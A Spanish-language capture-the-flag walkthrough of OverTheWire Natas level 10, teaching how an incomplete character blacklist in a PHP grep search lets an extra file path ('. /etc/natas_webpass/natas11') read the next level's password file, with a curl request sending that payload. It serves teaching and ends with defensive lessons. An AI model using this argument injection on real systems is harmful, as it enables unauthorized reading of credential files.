Natas Nivel 10 a 11

Nivel oficial: http://natas10.natas.labs.overthewire.org

Este nivel es una variante endurecida del nivel 9: el servidor filtra caracteres peligrosos para bloquear la inyección de comandos encadenados, pero el filtrado es insuficiente porque no neutraliza el propio argumento que se pasa a grep. La técnica aquí no consiste en añadir un comando nuevo, sino en abusar de la herramienta legítima que ya está ejecutándose.

Este ejercicio forma parte de OverTheWire Natas, un laboratorio de seguridad web legal y autorizado. No apliques estas técnicas fuera de entornos con permiso explícito.


Objetivo

Leer el contenido de /etc/natas_webpass/natas11 manipulando el campo de búsqueda de la aplicación web, a pesar de que el servidor bloquea los caracteres ;, | y &.


Qué aprendes

Concepto / ComandoPara qué sirve
Filtrado de caracteres en PHPIntentar bloquear inyección de comandos mediante una lista negra
preg_match con lista negraPatrón de defensa incompleto: solo bloquea lo que el desarrollador imaginó
grep PATRON fichero1 fichero2grep acepta múltiples rutas; las imprime todas si hay coincidencia
Metacarácter . en regexCasa con cualquier carácter; fuerza a grep a imprimir cada línea
Argumento-fichero extraAñadir una ruta adicional al campo de búsqueda para que grep la incluya

Concepto clave: filtrado por lista negra vs. neutralización real

La categoría de vulnerabilidad es Command Injection con bypass de lista negra (OWASP A03:2021 – Injection).

El patrón de defensa roto funciona así:

// Código simplificado del servidor natas10
if (preg_match('/[;|&]/', $key)) {
    echo "Input contains an illegal character!";
} else {
    passthru("grep -i $key dictionary.txt");
}

El desarrollador bloqueó los caracteres que permiten encadenar comandos (;, |, &), pero no bloqueó los espacios ni las rutas de archivo. grep en Linux acepta múltiples rutas como argumentos posicionales. Si el usuario introduce PATRON /ruta/extra, el comando que se ejecuta es:

grep -i PATRON /ruta/extra dictionary.txt

Es un único grep legítimo. No hay encadenamiento. El filtro no lo detecta. Pero ahora grep también lee /ruta/extra.


Paso a paso

1. Acceder al nivel

Abre el navegador o usa curl. Las credenciales de natas10 se obtienen resolviendo el nivel 9.

URL: http://natas10.natas.labs.overthewire.org
Usuario: natas10
Contraseña: <pass_natas10>

La página muestra un formulario de búsqueda sobre un diccionario. Visualiza el código fuente con el enlace “View sourcecode” para confirmar el filtro activo.

2. Entender la estructura del comando backend

El servidor construye la llamada así (simplificado):

grep -i <INPUT_USUARIO> dictionary.txt

Con el filtro, solo se bloquea input que contenga ;, | o &. Espacios y rutas de archivo pasan sin problema.

3. Construir el payload

El objetivo es que grep también procese /etc/natas_webpass/natas11. El patrón . en regex casa con cualquier carácter, garantizando que se imprima al menos una línea de cada archivo que tenga contenido.

Payload que se introduce en el campo de búsqueda:

. /etc/natas_webpass/natas11

El comando que ejecuta el servidor queda:

grep -i . /etc/natas_webpass/natas11 dictionary.txt

4. Enviar el payload

Puedes hacerlo desde el formulario web o con curl:

curl -u natas10:<pass_natas10> \
  "http://natas10.natas.labs.overthewire.org/index.php" \
  --data-urlencode "needle=. /etc/natas_webpass/natas11" \
  --data "submit=Search"

5. Leer la salida

La respuesta HTML incluirá algo similar a:

/etc/natas_webpass/natas11: <pass_natas11>
dictionary.txt: ...varias líneas del diccionario...

La primera línea contiene la contraseña de natas11. grep antepone el nombre del fichero cuando procesa más de un archivo, lo que hace trivial identificar cuál es cuál.


Por qué funciona

grep es una herramienta legítima del sistema. El filtro del servidor no puede distinguir entre un uso “normal” de grep con varios archivos y un uso malicioso, porque ambos son sintácticamente idénticos: grep PATRON archivo1 archivo2. La defensa por lista negra de operadores de shell (;|&) solo evita el encadenamiento de comandos distintos, pero no restringe los argumentos que recibe el comando ya autorizado. La vulnerabilidad no está en el shell, sino en permitir que input no saneado forme parte de los argumentos de una herramienta con acceso al sistema de archivos.

La lección de diseño es que la defensa correcta no es una lista negra de caracteres peligrosos, sino una lista blanca de caracteres permitidos (solo alfanuméricos, por ejemplo) o, mejor aún, evitar por completo construir comandos de shell con input del usuario.


Errores comunes

ErrorCausaSolución
El servidor devuelve “Input contains an illegal character!”El payload incluye ;, | o &El payload correcto no necesita ninguno de esos caracteres; revisa que usas . /etc/natas_webpass/natas11 sin operadores de shell
grep no devuelve nada de /etc/natas_webpass/natas11El patrón elegido no casa con ninguna línea del ficheroUsa . (punto sin comillas), que casa con cualquier carácter
La salida solo muestra líneas del diccionarioLa ruta del fichero tiene un error tipográficoVerifica la ruta exacta: /etc/natas_webpass/natas11 (minúsculas, sin extensión)
curl devuelve 401 UnauthorizedCredenciales incorrectas en la cabecera Basic AuthComprueba que usas -u natas10:<pass_natas10> con la contraseña real del nivel 10

Pasar al siguiente nivel

Con la contraseña obtenida, accede al nivel 11:

URL: http://natas11.natas.labs.overthewire.org
Usuario: natas11
Contraseña: <pass_natas11>

Conexiones